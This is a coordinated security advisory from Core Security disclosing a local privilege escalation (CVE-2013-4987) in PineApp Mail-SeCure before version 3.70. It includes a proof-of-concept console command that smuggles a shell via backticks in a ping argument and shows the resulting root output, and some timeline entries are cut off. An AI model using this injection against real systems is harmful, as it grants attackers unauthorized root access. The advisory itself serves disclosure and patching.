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CORE-2013-0904 - PinApp Mail-SeCure Access Control Failure
Oct 01 2013 04:36PM
CORE Advisories Team (advisories coresecurity com)
Core Security - Corelabs Advisory
PinApp Mail-SeCure Access Control Failure
1. *Advisory Information*
Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987
3. *Vulnerability Description*
A security vulnerability was discovered in PineApp  Mail-SeCure Suite
, allowing a non-privileged attacker to get a root shell by sending a
specially crafted command from the Mail-SeCure console. A valid user
account is needed to launch the attack, so this is a privileged
escalation vulnerability that can be exploited locally only.
4. *Vulnerable Packages*
. All Mail-SeCure versions prior to 3.70.
5. *Non-Vulnerable Packages*
. Mail-SeCure 3.70 (revision Sep. 2013).
This vulnerability was discovered and researched by John Petrusa from
This report was coordinated by Fernando Miranda from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Open a Mail-SeCure console as 'pinapp' user and execute the following
pa_cli> system ping `/bin/sh>/dev/tty`
As a result, you should be the super-user:
uid=0(root) gid=0(root) groups=0(root)
8. *Report Timeline*
Core Security Technologies attempts to contact vendor using the PinApp
official contact page . No reply received. Publication date is set
for Sep 25th, 2013.
Core attempts to contact vendor.
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.
Technical details sent to the vendor.
Core asks for a status update.
Vendor notifies that they have a fix that will be included in the next
Vendor notifies that they will probably release the patch next week.
Core asks if there is a patch available.
Vendor notifies that they have released a global update to all
Mail-SeCure units worldwide to block the below vulnerability.
Advisory CORE-2013-0904 published.
 PinApp official contact page http://www2.pineapp.com/contact.
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